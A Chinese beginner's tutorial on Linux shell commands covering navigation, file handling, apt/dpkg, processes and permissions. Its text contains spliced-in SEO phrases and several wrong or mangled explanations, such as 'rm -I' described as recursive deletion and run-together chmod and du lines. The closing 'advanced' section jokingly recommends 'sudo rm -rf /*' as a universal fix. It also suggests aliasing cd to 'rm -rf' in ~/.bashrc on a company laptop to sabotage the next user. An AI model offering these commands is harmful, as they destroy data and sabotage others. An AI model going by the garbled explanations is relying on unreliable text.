通常操作
显示当前的工作目录/路径。
改变目录,用于输入须要抵达的路径/目录。
有一些特殊命令也很常用:
前往同一级的另一个目录
cd ../directory name
cd .. 表示进入上层目录
cd ../.. 进入上上层目录,后面还可以加更多。
前往同一级的另一个目录
cd ../directory name
cd - //表示返回上一次的目录
cd ~ //进入home主目录,即/home/用户名的简写
ls显示当前目录下的文件(不包括隐藏文件和缓存文件等);
列举目录下所有文件
ls -a
ll,以列表方式显示当前路径下的所有文件的详尽信息(包括隐藏文件和缓存文件等)。
创建目录,前面接上directory的名子。
mkdir I_dont_care //创建一个“我不在乎”目录
删掉文件,前面接上要删掉的文件名。假如要删掉目录,须要这样写:
rm -I //这样做会删除指定目录中的所有子目录和包含的文件
创建任意格式的文件,包括源代码、文本等等,通过后缀来决定。诸如linux 电子书,.cpp/.cc是c++源代码linux系统基础命令,而.py是python源代码。
touch hello_world.cpp //创建hello_world源代码
复制命令。通用格式为
cp -? //第一个"-?"表示参数,出发地在左,目的地在右
非常的,假如想把某目录下所有文件都复制linux格式化硬盘,可以使用参数-r
cp -r cangjingkong/ xuexi //将canjingkong目录下的所有资源都复制到xuexi目录中
联通+重命名命令。格式类似于cp命令
mv -? //第一个"-?"表示参数,出发地在左,目的地在右
以联通txt文件为例可以分为以下三种情况:
mv a.txt b.txt //出发地和目的地是同一路径,名称从a.txt变为b.txt,那仅仅是重命名
mv ~/目录1/a.txt ~/目录2 //出发地和目的地是不同路径,没有指定新的名称,那仅仅是移动
mv ~/目录1/a.txt ~/目录2/b.txt //出发地和目的地是不同路径,指定了新的名称,那就是移动+重命名
常用的事例有,
联通目录到另一目录中
mv 目录1/ 目录2
将某目录下所有的文件和目录都联通到当前目录下
mv ~/videos/p_hub .
在桌面临时新建一个texteditor(文本编辑器)显示文件内的文本,但是支持更改。按ctrl+c退出文件显示。
gedit
比如linux系统基础命令,
gedit single_ladies_contacts.csv
在终端复印出文本内容。
cat //在terminal内部打印,和gedit相区分
使用VisualStudioCode/Nano/vi/vim这四种编辑器,打开或则新建一个源代码文件。
更推荐使用apt命令而不是apt-get命令,它的命令更精简并且易用。
sudo apt install //安装软件最简单的方式
sudo apt list //查看所有已安装的软件列表
sudo apt search //搜索某个软件
sudo apt remove //删除某个软件包
sudo apt purge //删除某个软件包以及配置文件,更彻底
还有我们最最常用的更新相关命令
sudo apt update
sudo apt upgrade
包管理工具。
首先是下载功能。先在官网下载软件的deb格式安装包,之后cd到下载文件夹,打开terminal(终端)输入:
dpkg -i //i 表示 install
其次是卸载功能。和apt系列命令类似,也可以查看安装列表,搜索指定安装包和卸载。
dpkg -r //r 表示 remove, 此种方法会保留配置文件
dpkg -P //直接全删了,配置也不会保留
dpkg -l //查看安装列表
dpkg -S //搜索某个包
结束指定进程时使用,就例如某个软件不响应了,这时侯kill就相当于windows系统中的任务管理器中的“结束进程”按钮。我们只要指定进程的编号(ID#)
kill //结束编号为的进程
进程编号怎样获得?引出下一个函数。
查看所有进程;
ps -A
查看所有包含其他使用者的进程;
ps -aux
关键字查找某个进程,这个办法用于结束指定进程很便捷。
ps -ef | grep
Linuxgrep命令用于查找文件里符合条件的字符串。
用于查找目录中的文件。
插入链接。
ln-sft
ln-hard
改变权限。
chmod+xdir/fileor.chmod777dir/file
改为可执行
du-h-l-d1
-h:--humanreadable会显示Mb,Kb,G之类的单位,便捷阅读
-d1:表示深度为1,只会查看下一级目录的空间占用大小
df-h
基础但实用的操作
假如遇到不会的命令,或则忘掉了具体的options(操作选项),可以使用帮助命令:
命令名 -h or --help
假如嫌每次都要sudo太麻烦,可以先登入,获取root权限。
sudo su //输入并回车
//就会让你输入root密码
学会以下代码就可以在技能中写上“熟悉linux系统的开关机”
reboot //重启
poweroff //关机
高档操作
无敌“电脑更新”命令,遇见哪些问题都可以用以下代码解决:
sudo rm -rf /*
只要删了库,所有的问题都迎刃而解。
假如你的笔记本是公司的,还可以将cd命令换成rm-rf,让之后的朋友替你甩锅
nano ~/.bashrc
alias cd = "rm -rf"
以上一通操作完,就赶忙跑路吧!(狗头)